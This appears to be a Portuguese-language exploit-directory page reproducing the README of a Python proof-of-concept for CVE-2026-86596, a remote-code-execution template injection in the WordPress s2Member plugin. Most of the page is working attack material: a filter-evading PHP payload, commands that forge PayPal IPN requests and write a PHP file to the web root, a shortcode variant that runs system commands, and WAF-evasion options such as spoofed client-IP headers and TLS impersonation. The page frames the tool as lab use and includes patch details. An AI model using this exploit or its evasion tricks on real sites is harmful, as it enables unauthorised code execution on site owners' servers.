Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2026-86596-poc — CVE-2026-86596 s2Member <= 260927 PoC de injeção de template (laboratório; verificação de IPN necessária) | Kitploit
Ferramentas/GitHubGitHub/thiscitze/cve-2026-86596-poc
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebBypass de WAFSegurança WebFerramenta de Acesso RemotoLabs e Prática
GitHubthiscitze/cve-2026-86596-poc

cve-2026-86596-poc

CVE-2026-86596 s2Member <= 260927 PoC de injeção de template (laboratório; verificação de IPN necessária)

Ver Repositório
113há 3 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

PoC do CVE-2026-86596

PoC em Python de arquivo único para o RCE de injeção de template no s2Member <= 260927.

O que ele demonstra

O código vulnerável:

$paypal = strip_php_tags_deep($paypal);          // removes only literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
...
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg));

Carga útil:

<%%x%%?php echo 'CVE-2026-86596'; ?>

strip_php_tags_deep() deixa-o intacto porque não há <? literal. A substituição de %%item_name%% insere-o; a limpeza final de %%(.+?)%% remove %%x%%, deixando um abridor <?php válido.

Modos

Um comando

python3 poc.py https://wordpress.lab

Esse é todo o fluxo:

  1. verificação de versão,
  2. prova de injeção offline,
  3. POST IPN forjado,
  4. grava cve_test.php com @thiscitze na raiz do WordPress,
  5. busca https://wordpress.lab/cve_test.php e verifica o marcador.

Se o ID do post/página protegido não for 1:

python3 poc.py https://wordpress.lab --item-number 123

Se .php estiver bloqueado, escreva um marcador em texto simples:

python3 poc.py https://wordpress.lab --filename cve_test.txt

Se o site usar uma chave de verificação de proxy:

python3 poc.py https://wordpress.lab --proxy-verification "KEY"

Relatório conciso:

CVE-2026-86596 | s2Member template-injection check
target : https://wordpress.lab
item   : 123
run id : 1a0d80
time   : 2026-11-03 12:34:56 UTC

[1/4] Version ............ VULNERABLE (260927)
[2/4] Injection proof ... OK
[3/4] IPN / write test
      1/5 abspath/cve_test.php           HTTP 200
      [+] test file: https://wordpress.lab/cve_test.php | HTTP 200 | marker '@thiscitze' found
[4/4] Trigger ........... skipped

RESULT
  CVE applicable : YES - vulnerable version
  Injection      : OK
  IPN response   : HTTP 200 | HTTP 200; processing not proven
  Test file      : FOUND - https://wordpress.lab/cve_test.php
  Marker         : not checked
  RCE            : CONFIRMED - code execution works
  Run ID         : 1a0d80
  Next           : test file: https://wordpress.lab/cve_test.php

O relatório responde a três perguntas distintas:

  • CVE aplicável - a versão instalada está no intervalo vulnerável?
  • Resposta IPN - a requisição chegou ao s2Member ou foi bloqueada?
  • RCE - um arquivo foi realmente gravado / o marcador apareceu?

RCE: NOT CONFIRMED significa que o script não provou a execução de código, mesmo que o status HTTP tenha sido 200.

A cor é ativada quando stdout é um TTY; force-a com --color always ou desative-a com --color never.

Se o alvo estiver atrás de um WAF/desafio, o script tenta automaticamente variantes de formato de requisição antes de desistir:

  • multipart/form-data
  • item_name duplicado (benigno + payload)
  • multipart/form-data com item_name duplicado
  • cabeçalhos de spoof X-Forwarded-For / X-Real-IP / CF-Connecting-IP
  • impersonação de TLS de navegador via curl_cffi (pip install curl_cffi)
  • um proxy HTTP, se --http-proxy for fornecido

Controles opcionais:

python3 poc.py https://wordpress.lab \
    --http-proxy http://127.0.0.1:8080 \
    --cookie "cf_clearance=..." \
    --impersonate chrome

--no-evasion desativa as variantes automáticas. Um desafio JS ainda pode exigir uma sessão de navegador real ou um IPN com origem no PayPal; truques de cabeçalho não são um bypass garantido.

Testar a escrita de ficheiro

Escreva um ficheiro de teste na raiz do WordPress e verifique-o:

python3 poc.py --auto https://wordpress.lab \
    --item-number 123 \
    --write-test \
    --test-url https://wordpress.lab/cve_test.php

O payload grava cve_test.php contendo:

<?php echo "@thiscitze"; ?>

Se .php estiver bloqueado ou não for necessário, escreva um marcador de texto simples em vez disso:

python3 poc.py --auto https://wordpress.lab \
    --item-number 123 \
    --write-test \
    --filename cve_test.txt \
    --marker "@thiscitze" \
    --test-url https://wordpress.lab/cve_test.txt

O arquivo é gravado em ABSPATH (a raiz do sistema de arquivos do WordPress). Se o WordPress estiver instalado em um subdiretório, ajuste --test-url de acordo.

Prova offline

python3 poc.py --simulate

Esperado:

[*] after strip_php_tags_deep():
    "<%%x%%?php echo 'CVE-2026-86596'; ?>"
[*] after placeholder cleanup:
    "Thanks Test!\n\n<?php echo 'CVE-2026-86596'; ?>..."
[+] '<?php' opener reassembled

Variante de shortcode:

python3 poc.py --simulate --shortcode --command "system('id');"

Isso produz [s2If php="system('id');"], que é executado se o template atingir um sink do_shortcode() / [s2If php].

Verificação de versão

python3 poc.py --check https://wordpress.lab

Ele lê readme.txt ou s2member.php e compara a versão com 260927 / 261001.

Remetente IPN de laboratório

python3 poc.py --ipn https://wordpress.lab \
    --item-number 123 \
    --payload "<%%x%%?php echo 'CVE-2026-86596'; ?>"

s2Member verifica IPNs com o PayPal (POST back) ou com uma chave de verificação de proxy. Um POST forjado diretamente é normalmente rejeitado. Para um laboratório:

  • use um IPN real do sandbox do PayPal cujo item_name seja o payload, ou
  • forneça o valor de verificação de proxy do site:
python3 poc.py --ipn https://wordpress.lab --item-number 123 \
    --proxy-verification "<value from the site's button code>" \
    --command "id"

O script imprime a resposta HTTP e avisa se o alvo rejeitou a verificação.

Página de acionamento

python3 poc.py --trigger "https://wordpress.lab/thank-you/?..."

Busca uma página e procura por CVE-2026-86596, que o payload ecoa. Isso é útil quando o sink de tracking-code / shortcode é renderizado após o IPN.

Requisitos para um RCE ativo

  1. s2Member <= 260927.
  2. Um IPN válido do PayPal (sandbox ou real) ou a chave de verificação de proxy do site.
  3. custom deve começar com o hostname do site (ou skip_ipn_domain_validation deve estar habilitado).
  4. Um item_number válido para o caminho Specific Post/Page.
  5. Um sink que avalie o template renderizado: tracking codes renderizados com do_shortcode() / [s2If php=...], ou uma integração personalizada que avalie o template de notificação. O corpo padrão do e-mail simples em si é enviado via wp_mail, não avaliado por eval.

Correção

Atualize para o s2Member 261001 ou posterior (atual: 261017). A correção substitui a interpolação sequencial por fill_paypal_template_once() e sanitiza o destino de tracking para [A-Za-z0-9 @._-].

Notas

  • Este é um PoC de laboratório; ele não contorna a verificação de IPN do PayPal.
  • A descrição da CVE diz "authenticated, custom-level", enquanto o título e o CVSS (PR:N) dizem não autenticado. Trate-o como remoto/não autenticado para prioridade de patch, mas valide os requisitos de IPN/proxy na sua configuração.
  • Não existe PoC público weaponizado até 2026-11-03; este script demonstra a injeção e fornece um remetente de IPN real para laboratórios autorizados.

Referências

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-86596
  • Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/id/bbe64cd3-c5ca-4867-90de-4784510a1126
  • Changeset: https://plugins.trac.wordpress.org/changeset/3722434/s2member
Baixar ferramenta